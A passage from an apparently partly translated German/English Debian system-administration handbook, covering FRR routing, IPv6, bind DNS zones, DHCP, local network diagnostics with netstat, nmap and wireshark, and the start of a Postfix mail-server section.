The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

ZURÜCK ZU DEN GRUNDLAGEN Dynamisches Routing

Dynamisches Routing ermöglicht es Routern, die zur Übertragung von IP-Paketen verwendeten Pfade in Echtzeit anzupassen. Jedes Protokoll benutzt seine eigene Methode, um Routen festzulegen (kürzester Weg, von anderen Teilnehmern empfohlene Routen und so weiter).

Im Linux-Kernel verbindet eine Route ein Netzwerkgerät mit einer Reihe von Maschinen, die über dieses Gerät erreicht werden können. Wenn der Befehl ip als erstes Argument route verwendet wird, definiert er neue Routen und zeigt die vorhandenen an. Der Befehl route wurde zu diesem Zweck verwendet, aber er ist zugunsten von ip veraltet.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

IN DER PRAXIS OSPF, BGP or RIP?

OSPF (Open Shortest Path First) ist im Allgemeinen das beste Protokoll für dynamisches Routing in privaten Netzwerken, aber BGP (Border Gateway Protocol) ist für Internet-weites Routing häufiger anzutreffen. RIP (Routing Information Protocol) ist ziemlich alt und wird kaum noch verwendet.

10.6. IPv6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Bei Debian-Kerneln wird IPv6 im Core-Kernel ausgeführt (abgesehen von einigen Architekturen, bei denen es als Modul unter dem Namen ipv6 kompiliert wurde). Die IPv6-Äquivalente grundlegender Programme wie ping und traceroute heißen ping6 und traceroute6 und sind in den Paketen iputils-ping beziehungsweise iputils-tracepath verfügbar.

Das IPv6-Netzwerk wird ähnlich wie IPv4 in /etc/network/interfaces konfiguriert. Wenn jedoch dieses Netzwerk global verfügbar sein soll, müssen Sie einen IPv6-fähigen Router haben, um den Datenverkehr an das weltweite IPv6-Netzwerk zu übermitteln.

Beispiel 10.10. Beispiel einer IPv6-Konfiguration

iface enp7s0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

IPV6 Subnetze haben eine Netzmaske von 64 Bit. Das heißt, es stehen 2⁶⁴ eindeutige Adressen innerhalb des Subnetzes zur Verfügung. Das ermöglicht der Stateless Address Autoconfiguration (SLAAC), eine Adresse basierend auf der MAC-Adresse der Netzwerkkarte auszuwählen. Standardmäßig findet der Kernel automatisch IPv6 Router und konfiguriert das Netzwerk, wenn SLAAC in Ihrem Netzwerk und IPv6 auf Ihrem Computer aktiviert sind.

This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces, activates these privacy extensions for the interface enp7s0.

Beispiel 10.11. IPv6 Datenschutzerweiterungen

iface enp7s0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

TIP Programme mit IPv6-Unterstützung

Viele Softwareprogramme müssen an IPv6 angepasst werden. Die meisten Debian-Pakete sind bereits angepasst worden, aber nicht alle. Wenn Ihr bevorzugtes Paket IPv6 noch nicht unterstützt, können Sie über die Mailingliste debian-ipv6 um Unterstützung bitten. Dort kennt man möglicherweise eine Alternative, die IPv6 unterstützt und kann einen Fehlerbericht schreiben, um die Anforderung geordnet nachzuverfolgen.

→ https://lists.debian.org/debian-ipv6/

IPv6-Verbindungen können auf die gleiche Weise wie bei IPv4 eingeschränkt werden. nft kann verwendet werden, um Firewall-Regeln für IPv4 und IPv6 zu erstellen (siehe Abschnitt 14.2.3, „Die Syntax von nft“).

10.6.1. Tunneln

VORSICHT Firewalls und Tunneln von IPv6

IPv6 über IPv4 zu tunneln (im Gegensatz zu nativem IPv6) erfordert, dass die Firewall Datenverkehr über das Protokoll mit der Nummer 41 akzeptiert.

Falls keine native IPv6-Verbindung verfügbar ist, kann als Rückgriff ein Tunnel über IPv4 verwendet werden. Hurricane Electric ist ein (kostenloser) Anbieter solcher Tunnel:

→ https://tunnelbroker.net

Um einen Hurricane Electric Tunnel zu verwenden, müssen Sie ein Konto registrieren, sich anmelden, einen kostenlosen Tunnel auswählen und die Datei /etc/network/interfaces mit dem generierten Code bearbeiten.

Sie können den Daemon radvd (aus dem gleichnamigen Paket) installieren und konfigurieren, wenn Sie den konfigurierten Computer als Router für ein lokales Netzwerk verwenden möchten. Dieser IPv6-Konfigurations-Daemon hat eine ähnliche Rolle wie dhcpd in der IPv4-Welt.

Anschließend muss die Konfigurationsdatei /etc/radvd.conf erstellt werden (siehe /usr/share/doc/radvd/examples/simple-radvd.conf als Ausgangspunkt). In unserem Fall muss nur das Präfix verändert werden, das durch das von Hurricane Electric bereitgestellte ersetzt werden muss; es ist in der Ausgabe des Befehls ip a zu finden im Absatz zur he-ipv6-Schnittstelle.

Dann führen Sie systemctl start radvd aus und das IPv6-Netzwerk sollte dann funktionieren.

10.7. Domain Name Server (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

DNS-Einträge sind in Zonen gegliedert; jede Zone entspricht einer Domain (oder Subdomain) oder einem Bereich von IP-Adressen (da IP-Adressen normalerweise in fortlaufenden Bereichen angeordnet sind). Ein Hauptserver ist für den Inhalt einer Zone zuständig; untergeordnete Server, die normalerweise auf separaten Rechnern untergebracht sind, stellen regelmäßig aktualisierte Kopien der Hauptzone bereit.

Jede Zone enthält Aufzeichnungen verschiedener Art (Resource Records), diese sind einige der häufigsten:

A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

CNAME (canonical name record): alias

MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar ZURÜCK ZU DEN GRUNDLAGEN SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

AAAA (IPv6 address record): IPv6 address.

NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. DNS-Software

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Zum anderen unterstützt Bind den DNSSEC-Standard zum Signieren (und damit Authentifizieren) von DNS-Einträgen, wodurch Spoofing dieser Daten durch einen Man-In-The-Middle-Angriff unterbunden werden kann.

KULTUR DNSSEC

Die DNSSEC-Norm ist recht komplex; dies erklärt zum Teil, warum es keine breite Verwendung gefunden hat (obwohl es ohne weiteres neben DNS-Servern bestehen kann, die das DNSSEC nicht kennen). Um alle Einzelheiten zu verstehen, sollten Sie einen Blick in den folgenden Artikel werfen:

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. bind konfigurieren

Konfigurationsdateien für bind haben unabhängig von der Version die gleiche Struktur.

Die Falcot-Administratoren erstellen eine primäre falcot.com-Zone, um dort Domain-Informationen und eine 168.192.in-addr.arpa-Zone für die umgekehrte Namenszuordnung von IP-Adressen in den lokalen Netzen abzulegen.

VORSICHT Bezeichnung umgekehrter Zonen

Umgekehrte Zonen (reverse zones) haben eine besondere Bezeichnung. Die Zone, die das Netzwerk 192.168.0.0/16 erfasst, muss 168.192.in-addr.arpa heißen: die IP-Adresskomponenten sind umgekehrt und gefolgt vom Suffix in-addr.arpa.

Für IPv6-Netzwerke heißt das Suffix ip6.arpa und die weiteren Komponenten sind die in umgekehrter Reihenfolge notierten einzelnen hexadezimalen Zeichen der vollständigen IP-Adresse. So lautet die Zone für das Netzwerk 2001:0bc8:31a0::/48 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIP Den DNS-Server testen

Der Befehl host (im Paket bind9-host) fragt bei einem DNS-Server an und kann zum Testen der Serverkonfiguration dienen. Zum Beispiel überprüft der Befehl host machine.falcot.com localhost die Antwort des lokalen Servers auf eine Anfrage nach machine.falcot.com. Der Befehl host ipaddress localhost überprüft die umgekehrte Namensauflösung.

Die folgenden Konfigurationsauszüge sind den Falcot-Dateien entnommen und können als Ausgangspunkt für das Konfigurieren eines DNS-Servers dienen:

Beispiel 10.12. Auszug aus der Datei /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Beispiel 10.13. Auszug aus der Datei /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

VORSICHT Namenssyntax

Die Syntax eines Rechnernamens folgt strengen Regeln. Zum Beispiel: rechner bedeutet rechner.domain. Falls die Bezeichnung der Domain nicht an einen Namen angehängt sein soll, muss der betreffende Name als rechner. geschrieben werden (mit einem Punkt als Suffix). Um einen DNS-Namen außerhalb der aktuellen Domain anzuzeigen, ist daher eine Syntax wie rechner.anderedomain.com. erforderlich (mit einem Punkt am Schluss).

Beispiel 10.14. Auszug aus der Datei /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (für Dynamic Host Configuration Protocol) ist ein Protokoll mit dem ein Rechner seine Netzwerkkonfiguration beim Hochfahren automatisch beziehen kann. Dies macht es möglich, die Verwaltung der Netzwerkkonfigurationen zu zentralisieren und sicherzustellen, dass alle Arbeitsplatzrechner ähnliche Einstellungen erhalten.

Ein DHCP-Server stellt zahlreiche Netzwerk-Parameter bereit. Die häufigsten sind IP-Adressen und das Netzwerk, zu dem der Rechner gehört, aber er kann auch andere Informationen bereitstellen, wie DNS-Server, WINS-Server, NTP-Server und so weiter.

Das Internet Software Consortium (das auch mit der Entwicklung von bind befasst ist) ist der Hauptverfasser des DHCP-Servers. Das hierzu passende Debian-Paket ist isc-dhcp-server.

10.8.1. Konfigurieren

Die ersten Elemente, die in den Konfigurationsdateien des DHCP-Servers (/etc/dhcp/dhcpd.conf und /etc/dhcp/dhcpd6.conf für IPv6) editiert werden müssen, sind der Domain-Name und die DNS-Server. Falls dieser Server im lokalen Netzwerk der einzige ist (in Übereinstimmung mit der Broadcast-Einstellung), muss die Anweisung authoritative ebenfalls aktiviert (oder auskommentiert) sein. Außerdem muss ein subnet-Abschnitt erstellt werden, der das lokale Netzwerk und die bereitzustellenden Konfigurationsinformationen beschreibt. Das folgende Beispiel passt zu einem lokalen 192.168.0.0/24-Netzwerk mit einem als Gateway dienenden Router an 192.168.0.1. Verfügbare IP-Adressen liegen im Bereich von 192.168.0.128 bis 192.168.0.254.

Beispiel 10.15. Auszug aus der Datei /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP und DNS

Eine angenehme Eigenschaft von DHCP-Clients ist das automatisierte Registrieren in der DNS-Zone, so dass jeder Rechner einen aussagekräftigen Namen erhält (statt etwas Unpersönlichem wie rechner-192-168-0-131.internal.falcot.com). Um diese Möglichkeit zu nutzen, muss der DNS-Server so konfiguriert werden, dass er Aktualisierungen der DNS-Zone internal.falcot.com vom DHCP-Server akzeptiert, und letzterer so, dass er Aktualisierungen für jede Registrierung einreicht.

Im Fall von bind (siehe Abschnitt 10.7.1, „DNS-Software“) muss die Anweisung allow-update zu jeder Zone, die der DHCP-Server editieren wird, hinzugefügt werden (die für die internal.falcot.com-Domain und die umgekehrte Zone). Diese Anweisung listet die IP-Adressen auf, denen die Aktualisierungen erlaubt sind; sie sollten daher die möglichen Adressen des DHCP-Servers enthalten (sowohl die lokale und, falls zutreffend, auch die öffentliche Adresse).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Vorsicht! Eine modifizierbare Zone wird von bind abgeändert, und ihre Konfigurationsdateien wird in regelmäßigen Abständen überschrieben. Da dieser automatisierte Vorgang Dateien erzeugt, die von Menschen weniger leicht zu lesen sind als manuell geschriebene, betreiben die Falcot-Administratoren die internal.falcot.com-Domain mit einem hierfür abgeordneten DNS-Server; dies bedeutet, dass die Datei der falcot.com-Zone fest unter ihrer manuellen Kontrolle bleibt.

Der obenstehende Auszug einer DHCP-Serverkonfiguration enthält bereits die für Aktualisierungen der DNS-Zone erforderlichen Anweisungen: Dies sind die Zeilen ddns-update-style interim; und ddns-domain-name "internal.falcot.com";.

10.9. Werkzeuge für die Netzwerk-Diagnose

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. Lokale Diagnose: netstat

Als erstes sei der Befehl netstat genannt (im Paket net-tools); er zeigt eine sofortige Zusammenfassung der Netzaktivitäten eines Rechners. Wenn er ohne Argument aufgerufen wird, listet der Befehl alle offenen Verbindungen auf; diese Liste kann sehr umfangreich sein, da sie viele Unix-Domain-Sockets (üblicherweise von Daemons verwendet) enthält, die in keiner Weise das Netzwerk betreffen (zum Beispiel dbus-Kommunikation, X11-Datenverkehr und Kommunikationen zwischen virtuellen Dateisystemen und der Arbeitsoberfläche).

Normale Aufrufe verwenden daher Optionen, um das Verhalten von netstat zu ändern. Die am häufigsten verwendeten Optionen sind:

-t, dies filtert die Ergebnisse, so dass nur TCP-Verbindungen erfasst werden;

-u, dies wirkt ähnlich für UDP-Verbindungen; diese Optionen schließen sich nicht gegenseitig aus, und jede von ihnen reicht aus, das Anzeigen von Unix-Domain-Verbindungen zu unterdrücken;

-a, um auch die Sockets aufzulisten, die Verbindungen annehmen (auf ankommende Verbindungen warten);

-n, um die Ergebnisse numerisch anzuzeigen: IP-Adressen (keine DNS-Auflösung), Portnummern (keine in /etc/services festgelegten Aliasse) und Benutzer-IDs (keine Anmeldenamen);

-p, um die beteiligten Prozesse aufzulisten; diese Option ist nur sinnvoll, wenn netstat mit Administratorrechten ausgeführt wird, da normale Benutzer nur ihre eigenen Prozesse sehen würden;

-c, um fortlaufend die Liste der Verbindungen aufzufrischen.

Andere Optionen, auf der Handbuchseite netstat(8) dokumentiert, bieten eine noch feinere Kontrolle über die angezeigten Ergebnisse. In der Praxis, werden die fünf ersten Optionen so häufig zusammen benutzt, dass der Befehl netstat -tupan für System- und Netzwerk-Administratoren praktisch zu einem Reflex geworden ist. Typische Ergebnisse auf einem geringfügig ausgelasteten Rechner können wie folgt aussehen:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Wie erwartet führt dies die bestehenden Verbindungen auf, in diesem Fall zwei SSH-Verbindungen, und auf ankommende Verbindungen wartende Anwendungen (als LISTEN aufgeführt), insbesondere den Exim4 E-Mailserver, der an Port 25 auf Anfragen wartet.

10.9.2. Entfernte Diagnose: nmap

nmap (in dem Paket ähnlichen Namens) ist in gewisser Weise das entfernte Äquivalent zu netstat. Es kann eine Reihe "allgemein bekannter" Ports für einen oder mehrere entfernte Server scannen und die Ports auflisten, an denen eine Anwendung auf Anfragen wartet. Darüberhinaus kann nmap einige dieser Anwendungen identifizieren, manchmal sogar ihre Versionsnummer. Auf der anderen Seite kann dieses Programm, da es aus der Ferne operiert, keine Informationen über Prozesse oder Benutzer liefern; jedoch kann es an mehreren Zielen gleichzeitig tätig sein.

Ein typischer nmap-Aufruf verwendet nur die Option -A (so dass nmap versucht, die Versionen der Server-Software, die es findet, zu identifizieren), gefolgt von einer oder mehreren IP-Adressen oder DNS-Namen der zu scannenden Rechner. Auch hier gibt es viel mehr Optionen für eine fein eingestellte Kontrolle des Verhaltens von nmap; bitte ziehen Sie die Dokumentation auf der Handbuchseite nmap(1) zu Rate.

# nmap debian Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET Nmap scan report for debian (192.168.122.57) Host is up (0.000087s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 80/tcp open http 113/tcp open ident Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds # nmap -A localhost nmap -A localhost Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining) Nmap scan report for localhost (127.0.0.1) Host is up (0.000086s latency). Other addresses for localhost (not scanned): ::1 Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |_auth-owners: foobar 25/tcp open smtp Postfix smtpd |_auth-owners: foobar |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2022-02-22T14:48:42 |_Not valid after: 2032-02-20T14:48:42 |_ssl-date: TLS randomness does not represent time 79/tcp open finger? |_auth-owners: foobar |_finger: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.52 ((Debian)) |_auth-owners: foobar |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Apache2 Debian Default Page: It works 113/tcp open ident Liedentd (Claimed user: foobar) |_auth-owners: foobar 631/tcp open ipp CUPS 2.3 |_auth-owners: foobar | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 |_http-title: Home - CUPS 2.3.3op2 Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Netzwerk-Sniffer: tcpdump und wireshark

Manchmal ist es erforderlich sich anzusehen, was tatsächlich auf dem Kabel vor sich geht, und zwar Paket für Paket. Diese Fälle verlangen nach einem "Frame-Analysator", besser bekannt als sniffer. Ein derartiges Programm beobachtet alle Pakete, die eine bestimmte Netzwerkschnittstelle erreichen und zeigt sie in einer benutzerfreundlichen Weise an.

Ein altehrwürdiges Werkzeug auf diesem Gebiet ist tcpdump, als Standardprogramm auf vielen Betriebssystemen verfügbar. Es ermöglicht, den Netzwerkverkehr auf viele Arten zu erfassen, jedoch bleibt die Wiedergabe dieses Verkehrs ziemlich unklar. Wir werden es daher nicht in allen Einzelheiten beschreiben.

Ein jüngeres (und moderneres) Programm, wireshark (im Paket wireshark), entwickelte sich aufgrund seiner zahlreichen Entschlüsselungsmodule, die eine vereinfachte Analyse der erfassten Pakete ermöglichen, zur neuen Referenz in der Netzverkehrsanalyse. Die Pakete werden grafisch in einer Gliederung angezeigt, die auf den Protokollschichten beruht. Dies ermöglicht es einem Benutzer, sich ein Bild von allen an einem Paket beteiligten Protokollen zu machen. Zum Beispiel gäbe es ein Paket, das eine HTTP-Anfrage enthält, dann zeigt wireshark getrennt die physikalische Schicht, die Ethernet-Schicht, die IP-Paketinformation, die TCP-Verbindungsparameter und schließlich die HTTP-Anfrage selbst an.

Abbildung 10.1. Der wireshark Netzverkehrsanalysator

In unserem Beispiel werden die SSH-Pakete ausgefiltert (mit dem Filter !tcp.port == 22). Das gerade angezeigte Paket entstammt der Transportschicht des SSHv2-Protokolls.

TIP wireshark ohne grafische Oberfläche: tshark

Für den Fall, dass man keine grafische Oberfläche einsetzen kann oder dies - aus welchen Gründen auch immer - nicht wünscht, gibt es auch eine reine Textversion von wireshark namens tshark (in dem separaten Paket tshark). Die meisten Erfassungs- und Entschlüsselungsfähigkeiten sind noch vorhanden, aber das Fehlen einer grafischen Oberfläche begrenzt notwendigerweise die Interaktionen mit dem Programm (das Filtern von Paketen, nachdem sie erfasst worden sind, das Verfolgen einer bestimmten TCP-Verbindung und so weiter). Es kann dennoch als erster Ansatz benutzt werden. Falls weitere Manipulationen beabsichtigt sind und die grafische Oberfläche erforderlich wird, können die Pakete in einer Datei gespeichert werden, und diese Datei kann in eine grafische Version von wireshark geladen werden, die auf einem anderen Rechner läuft.

Kapitel 11. Netzwerkdienste: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Netzwerkdienste sind die Programme, mit denen Benutzer in ihrer täglichen Arbeit direkt interagieren. Sie sind die Spitze des Eisbergs des Informationssystems und dieses Kapitel richtet sein Hauptaugenmerk auf sie; die verborgenen Teile, auf denen sie aufbauen, sind die Infrastruktur, die wir bereits besprochen haben. Üblicherweise benötigen sie die Verschlüsselungstechnologie, wie sie in Abschnitt 10.2, „X.509-Zertifikate“ beschrieben ist.

11.1. Mail-Server

Die Falcot Corp. Administratoren haben Postfix wegen seiner Zuverlässigkeit und seiner leichten Konfigurierbarkeit als Server für elektronische Post gewählt. Sein Design zwingt dazu, jede Aufgabe als Prozess mit dem geringstmöglichen Satz an Berechtigungen umzusetzen, eine gute Vorbeugungsmaßnahme gegen Sicherheitsprobleme.

ALTERNATIVE Der Exim4-Server

Debian verwendet Exim4 standardmäßig als E-Mail-Server (daher enthält die Erstinstallation auch Exim4). Die Konfiguration wird durch ein separates Paket, exim4-config, bereitgestellt und selbsttätig anhand der Antworten auf eine Anzahl von Debconf-Fragen eingerichtet, in ähnlicher Weise wie bei den vom Paket postfix gestellten Fragen.

Die Konfiguration kann sich entweder in einer einzelnen Datei (/etc/exim4/exim4.conf.template) befinden oder über mehrere einzelne Konfigurationsdateien verteilt sein, die unter /etc/exim4/conf.d/ gespeichert sind. In beiden Fällen werden die Dateien von update-exim4.conf als Vorlage benutzt, um /var/lib/exim4/config.autogenerated zu erzeugen. Letztere Datei wird von Exim4 benutzt. Dank diesem Mechanismus können die durch die Debconf-Konfiguration von Exim zur Verfügung gestellten Werte — die in /etc/exim4/update-exim4.conf.conf gespeichert sind — in die Konfigurationsdatei von Exim eingefügt werden, auch dann, wenn ein Administrator oder ein anderes Paket die Standard-Einstellungen verändert hat.

Die Syntax der Exim4-Konfigurationsdatei hat ihre Besonderheiten und erfordert eine Lernphase; sobald man jedoch diese Besonderheiten verstanden hat, ist Exim4 ein sehr umfassender und leistungsstarker E-Mail-Server, wie Dutzende von Dokumentationsseiten zeigen.

→ https://www.exim.org/docs.html

11.1.1. Postfix installieren

Das Paket postfix enthält den Kern des SMTP-Daemons. Andere Pakete (wie postfix-ldap und postfix-pgsql) fügen weitere Funktionsmerkmale zu Postfix hinzu, einschließlich des Zugangs zu Zuordnungsdatenbanken. Sie sollten sie nur installieren, wenn Sie wissen, dass Sie sie benötigen.

ZURÜCK ZU DEN GRUNDLAGEN SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) ist das von E-Mail-Servern für den Austausch und die Zustellung von E-Mails verwendete Protokoll.

Während der Installation des Pakets werden mehrere Debconf-Fragen gestellt. Die Antworten ermöglichen es, eine erste Version der Konfigurationsdatei /etc/postfix/main.cf zu erstellen.

Die erste Frage bezieht sich auf die Art der Aufbaus. Nur zwei der vorgeschlagenen Antworten sind im Falle eines mit dem Internet verbundenen Servers relevant, „Internet site“ und „Internet with smarthost“. Die erste ist für einen Server richtig, der eingehende E-Mails empfängt und ausgehende E-Mails direkt an ihre Empfänger verschickt, und ist daher für die Situation der Falcot Corp. gut geeignet. Die zweite ist für einen Server angebracht, der eingehende E-Mails normal empfängt, aber ausgehende E-Mails über einen zwischengeschalteten SMTP-Server - den „smarthost“ - verschickt, statt direkt an den Server des Empfängers. Dies ist meistens für Personen mit einer dynamischen IP-Adresse sinnvoll, da viele E-Mail-Server Nachrichten, die direkt von einer derartigen IP-Adresse kommen, zurückweisen. In diesem Fall ist der Smarthost gewöhnlich der SMTP-Server des ISPs, der stets so konfiguriert ist, dass er E-Mails annimmt, die von den Kunden des ISP kommen, und sie in geeigneter Weise weiterleitet. Dieser Aufbau (mit einem Smarthost) ist auch für Server relevant, die nicht ständig mit dem Internet verbunden sind, da es so nicht erforderlich ist, eine Warteschlange nicht zustellbarer Nachrichten zu verwalten, für die später ein neuer Zustellversuch 